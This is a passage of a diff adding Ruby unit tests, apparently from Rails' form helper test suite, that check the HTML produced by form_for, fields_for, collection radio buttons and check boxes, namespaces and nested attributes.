+ %{<input checked="checked" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+ radio_button("post[]", "title", "Hello World", id: nil)
+ )
+ assert_dom_equal(
+ %{<input name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
+ radio_button("post[]", "title", "Goodbye World", id: nil)
+ )
+ end
+
+ def test_form_for_requires_block
+ assert_raises(ArgumentError) do
+ form_for(:post, @post, html: { id: 'create-post' })
+ end
+ end
+
+ def test_form_for_requires_arguments
+ error = assert_raises(ArgumentError) do
+ form_for(nil, html: { id: 'create-post' }) do
+ end
+ end
+ assert_equal "First argument in form cannot contain nil or be empty", error.message
+
+ error = assert_raises(ArgumentError) do
+ form_for([nil, nil], html: { id: 'create-post' }) do
+ end
+ end
+ assert_equal "First argument in form cannot contain nil or be empty", error.message
+ end
+
+ def test_form_for
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ concat f.label(:title) { "The Title" }
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ concat f.submit('Create post')
+ concat f.button('Create post')
+ concat f.button {
+ concat content_tag(:span, 'Create post')
+ }
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ "<label for='post_title'>The Title</label>" +
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+ "<input name='commit' type='submit' value='Create post' />" +
+ "<button name='button' type='submit'>Create post</button>" +
+ "<button name='button' type='submit'><span>Create post</span></button>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_radio_buttons
+ post = Post.new
+ def post.active; false; end
+ form_for(post) do |f|
+ concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+ "<label for='post_active_true'>true</label>" +
+ "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+ "<label for='post_active_false'>false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_radio_buttons_with_custom_builder_block
+ post = Post.new
+ def post.active; false; end
+
+ form_for(post) do |f|
+ rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+ b.label { b.radio_button + b.text }
+ end
+ concat rendered_radio_buttons
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<label for='post_active_true'>"+
+ "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+ "true</label>" +
+ "<label for='post_active_false'>"+
+ "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+ "false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_radio_buttons_with_custom_builder_block_does_not_leak_the_template
+ post = Post.new
+ def post.active; false; end
+ def post.id; 1; end
+
+ form_for(post) do |f|
+ rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+ b.label { b.radio_button + b.text }
+ end
+ concat rendered_radio_buttons
+ concat f.hidden_field :id
+ end
+
+ expected = whole_form("/posts", "new_post_1", "new_post") do
+ "<label for='post_active_true'>"+
+ "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+ "true</label>" +
+ "<label for='post_active_false'>"+
+ "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+ "false</label>"+
+ "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_with_namespace_and_with_collection_radio_buttons
+ post = Post.new
+ def post.active; false; end
+
+ form_for(post, namespace: 'foo') do |f|
+ concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+ end
+
+ expected = whole_form("/posts", "foo_new_post", "new_post") do
+ "<input id='foo_post_active_true' name='post[active]' type='radio' value='true' />" +
+ "<label for='foo_post_active_true'>true</label>" +
+ "<input checked='checked' id='foo_post_active_false' name='post[active]' type='radio' value='false' />" +
+ "<label for='foo_post_active_false'>false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_with_index_and_with_collection_radio_buttons
+ post = Post.new
+ def post.active; false; end
+
+ form_for(post, index: '1') do |f|
+ concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" +
+ "<label for='post_1_active_true'>true</label>" +
+ "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" +
+ "<label for='post_1_active_false'>false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_check_boxes
+ post = Post.new
+ def post.tag_ids; [1, 3]; end
+ collection = (1..3).map { |i| [i, "Tag #{i}"] }
+ form_for(post) do |f|
+ concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+ "<label for='post_tag_ids_1'>Tag 1</label>" +
+ "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+ "<label for='post_tag_ids_2'>Tag 2</label>" +
+ "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+ "<label for='post_tag_ids_3'>Tag 3</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_check_boxes_with_custom_builder_block
+ post = Post.new
+ def post.tag_ids; [1, 3]; end
+ collection = (1..3).map { |i| [i, "Tag #{i}"] }
+ form_for(post) do |f|
+ rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+ b.label { b.check_box + b.text }
+ end
+ concat rendered_check_boxes
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<label for='post_tag_ids_1'>" +
+ "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+ "Tag 1</label>" +
+ "<label for='post_tag_ids_2'>" +
+ "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+ "Tag 2</label>" +
+ "<label for='post_tag_ids_3'>" +
+ "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+ "Tag 3</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_check_boxes_with_custom_builder_block_does_not_leak_the_template
+ post = Post.new
+ def post.tag_ids; [1, 3]; end
+ def post.id; 1; end
+ collection = (1..3).map { |i| [i, "Tag #{i}"] }
+
+ form_for(post) do |f|
+ rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+ b.label { b.check_box + b.text }
+ end
+ concat rendered_check_boxes
+ concat f.hidden_field :id
+ end
+
+ expected = whole_form("/posts", "new_post_1", "new_post") do
+ "<label for='post_tag_ids_1'>" +
+ "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+ "Tag 1</label>" +
+ "<label for='post_tag_ids_2'>" +
+ "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+ "Tag 2</label>" +
+ "<label for='post_tag_ids_3'>" +
+ "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+ "Tag 3</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"+
+ "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_with_namespace_and_with_collection_check_boxes
+ post = Post.new
+ def post.tag_ids; [1]; end
+ collection = [[1, "Tag 1"]]
+
+ form_for(post, namespace: 'foo') do |f|
+ concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+ end
+
+ expected = whole_form("/posts", "foo_new_post", "new_post") do
+ "<input checked='checked' id='foo_post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+ "<label for='foo_post_tag_ids_1'>Tag 1</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_with_index_and_with_collection_check_boxes
+ post = Post.new
+ def post.tag_ids; [1]; end
+ collection = [[1, "Tag 1"]]
+
+ form_for(post, index: '1') do |f|
+ concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" +
+ "<label for='post_1_tag_ids_1'>Tag 1</label>" +
+ "<input name='post[1][tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_file_field_generate_multipart
+ Post.send :attr_accessor, :file
+
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ concat f.file_field(:file)
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch", multipart: true) do
+ "<input name='post[file]' type='file' id='post_file' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_file_field_generate_multipart
+ Comment.send :attr_accessor, :file
+
+ form_for(@post) do |f|
+ concat f.fields_for(:comment, @post) { |c|
+ concat c.file_field(:file)
+ }
+ end
+
+ expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch", multipart: true) do
+ "<input name='post[comment][file]' type='file' id='post_comment_file' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_format
+ form_for(@post, format: :json, html: { id: "edit_post_123", class: "edit_post" }) do |f|
+ concat f.label(:title)
+ end
+
+ expected = whole_form("/posts/123.json", "edit_post_123", "edit_post", method: 'patch') do
+ "<label for='post_title'>Title</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_model_using_relative_model_naming
+ blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+
+ form_for(blog_post) do |f|
+ concat f.text_field :title
+ concat f.submit('Edit post')
+ end
+
+ expected = whole_form("/posts/44", "edit_post_44", "edit_post", method: "patch") do
+ "<input name='post[title]' type='text' id='post_title' value='And his name will be forty and four.' />" +
+ "<input name='commit' type='submit' value='Edit post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_symbol_object_name
+ form_for(@post, as: "other_name", html: { id: "create-post" }) do |f|
+ concat f.label(:title, class: 'post_title')
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ concat f.submit('Create post')
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_other_name", method: "patch") do
+ "<label for='other_name_title' class='post_title'>Title</label>" +
+ "<input name='other_name[title]' id='other_name_title' value='Hello World' type='text' />" +
+ "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='other_name[secret]' value='0' type='hidden' />" +
+ "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" +
+ "<input name='commit' value='Create post' type='submit' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_tags_do_not_call_private_properties_on_form_object
+ obj = Class.new do
+ private
+
+ def private_property
+ raise "This method should not be called."
+ end
+ end.new
+
+ form_for(obj, as: "other_name", url: '/', html: { id: "edit-other-name" }) do |f|
+ assert_raise(NoMethodError) { f.hidden_field(:private_property) }
+ end
+ end
+
+ def test_form_for_with_method_as_part_of_html_options
+ form_for(@post, url: '/', html: { id: 'create-post', method: :delete }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post", "edit_post", method: "delete") do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_method
+ form_for(@post, url: '/', method: :delete, html: { id: 'create-post' }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post", "edit_post", method: "delete") do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_search_field
+ # Test case for bug which would emit an "object" attribute
+ # when used with form_for using a search_field form helper
+ form_for(Post.new, url: "/search", html: { id: "search-post", method: :get }) do |f|
+ concat f.search_field(:title)
+ end
+
+ expected = whole_form("/search", "search-post", "new_post", method: "get") do
+ "<input name='post[title]' type='search' id='post_title' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_remote
+ form_for(@post, url: '/', remote: true, html: { id: 'create-post', method: :patch }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_enforce_utf8_true
+ form_for(:post, enforce_utf8: true) do |f|
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form("/", nil, nil, enforce_utf8: true) do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_enforce_utf8_false
+ form_for(:post, enforce_utf8: false) do |f|
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form("/", nil, nil, enforce_utf8: false) do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_remote_in_html
+ form_for(@post, url: '/', html: { remote: true, id: 'create-post', method: :patch }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_remote_without_html
+ @post.persisted = false
+ @post.stubs(:to_key).returns(nil)
+ form_for(@post, remote: true) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post", remote: true) do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_without_object
+ form_for(:post, html: { id: 'create-post' }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post") do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_index
+ form_for(@post, as: "post[]") do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<label for='post_123_title'>Title</label>" +
+ "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+ "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[123][secret]' type='hidden' value='0' />" +
+ "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_nil_index_option_override
+ form_for(@post, as: "post[]", index: nil) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
+ "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[][secret]' type='hidden' value='0' />" +
+ "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_label_error_wrapping
+ form_for(@post) do |f|
+ concat f.label(:author_name, class: 'label')
+ concat f.text_field(:author_name)
+ concat f.submit('Create post')
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
+ "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
+ "<input name='commit' type='submit' value='Create post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_label_error_wrapping_without_conventional_instance_variable
+ post = remove_instance_variable :@post
+
+ form_for(post) do |f|
+ concat f.label(:author_name, class: 'label')
+ concat f.text_field(:author_name)
+ concat f.submit('Create post')
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
+ "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
+ "<input name='commit' type='submit' value='Create post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_label_error_wrapping_block_and_non_block_versions
+ form_for(@post) do |f|
+ concat f.label(:author_name, 'Name', class: 'label')
+ concat f.label(:author_name, class: 'label') { 'Name' }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>" +
+ "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_namespace
+ form_for(@post, namespace: 'namespace') do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_namespace_with_date_select
+ form_for(@post, namespace: 'namespace') do |f|
+ concat f.date_select(:written_on)
+ end
+
+ assert_select 'select#namespace_post_written_on_1i'
+ end
+
+ def test_form_for_with_namespace_with_label
+ form_for(@post, namespace: 'namespace') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='namespace_post_title'>Title</label>" +
+ "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_namespace_and_as_option
+ form_for(@post, namespace: 'namespace', as: 'custom_name') do |f|
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_custom_name', 'edit_custom_name', method: 'patch') do
+ "<input id='namespace_custom_name_title' name='custom_name[title]' type='text' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_two_form_for_with_namespace
+ form_for(@post, namespace: 'namespace_1') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected_1 = whole_form('/posts/123', 'namespace_1_edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='namespace_1_post_title'>Title</label>" +
+ "<input name='post[title]' type='text' id='namespace_1_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected_1, output_buffer
+
+ form_for(@post, namespace: 'namespace_2') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected_2 = whole_form('/posts/123', 'namespace_2_edit_post_123', 'edit_post', method: 'patch') do
+ "<label for='namespace_2_post_title'>Title</label>" +
+ "<input name='post[title]' type='text' id='namespace_2_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected_2, output_buffer
+ end
+
+ def test_fields_for_with_namespace
+ @comment.body = 'Hello World'
+ form_for(@post, namespace: 'namespace') do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.fields_for(@comment) { |c|
+ concat c.text_field(:body)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[comment][body]' type='text' id='namespace_post_comment_body' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_submit_with_object_as_new_record_and_locale_strings
+ with_locale :submit do
+ @post.persisted = false
+ @post.stubs(:to_key).returns(nil)
+ form_for(@post) do |f|
+ concat f.submit
+ end
+
+ expected = whole_form('/posts', 'new_post', 'new_post') do
+ "<input name='commit' type='submit' value='Create Post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_submit_with_object_as_existing_record_and_locale_strings
+ with_locale :submit do
+ form_for(@post) do |f|
+ concat f.submit
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='commit' type='submit' value='Confirm Post changes' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_submit_without_object_and_locale_strings
+ with_locale :submit do
+ form_for(:post) do |f|
+ concat f.submit class: "extra"
+ end
+
+ expected = whole_form do
+ "<input name='commit' class='extra' type='submit' value='Save changes' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_submit_with_object_and_nested_lookup
+ with_locale :submit do
+ form_for(@post, as: :another_post) do |f|
+ concat f.submit
+ end
+
+ expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', method: 'patch') do
+ "<input name='commit' type='submit' value='Update your Post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_nested_fields_for
+ @comment.body = 'Hello World'
+ form_for(@post) do |f|
+ concat f.fields_for(@comment) { |c|
+ concat c.text_field(:body)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[comment][body]' type='text' id='post_comment_body' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_nested_collections
+ form_for(@post, as: 'post[]') do |f|
+ concat f.text_field(:title)
+ concat f.fields_for('comment[]', @comment) { |c|
+ concat c.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+ "<input name='post[123][comment][][name]' type='text' id='post_123_comment__name' value='new comment' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_index_and_parent_fields
+ form_for(@post, index: 1) do |c|
+ concat c.text_field(:title)
+ concat c.fields_for('comment', @comment, index: 1) { |r|
+ concat r.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[1][title]' type='text' id='post_1_title' value='Hello World' />" +
+ "<input name='post[1][comment][1][name]' type='text' id='post_1_comment_1_name' value='new comment' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_index_and_nested_fields_for
+ output_buffer = form_for(@post, index: 1) do |f|
+ concat f.fields_for(:comment, @post) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[1][comment][title]' type='text' id='post_1_comment_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_index_on_both
+ form_for(@post, index: 1) do |f|
+ concat f.fields_for(:comment, @post, index: 5) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[1][comment][5][title]' type='text' id='post_1_comment_5_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_auto_index
+ form_for(@post, as: "post[]") do |f|
+ concat f.fields_for(:comment, @post) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_index_radio_button
+ form_for(@post) do |f|
+ concat f.fields_for(:comment, @post, index: 5) { |c|
+ concat c.radio_button(:title, "hello")
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_auto_index_on_both
+ form_for(@post, as: "post[]") do |f|
+ concat f.fields_for("comment[]", @post) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[123][comment][123][title]' type='text' id='post_123_comment_123_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_index_and_auto_index
+ output_buffer = form_for(@post, as: "post[]") do |f|
+ concat f.fields_for(:comment, @post, index: 5) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ output_buffer << form_for(@post, as: :post, index: 1) do |f|
+ concat f.fields_for("comment[]", @post) { |c|
+ concat c.text_field(:title)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
+ "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
+ end + whole_form('/posts/123', 'edit_post', 'edit_post', method: 'patch') do
+ "<input name='post[1][comment][123][title]' type='text' id='post_1_comment_123_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
+ @post.author = Author.new
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="new author" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
+ form_for(@post) do |f|
+ f.fields_for(:author, Author.new(123)) do |af|
+ assert_not_nil af.object
+ assert_equal 123, af.object.id
+ end
+ end
+ end
+
+ def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
+ @post.author = Author.new(321)
+
+ form_for(@post) do |f|
+ concat f.text_field(:title)
+ concat f.fields_for(:author) { |af|
+ concat af.text_field(:name)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+ '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+ '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
+ '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
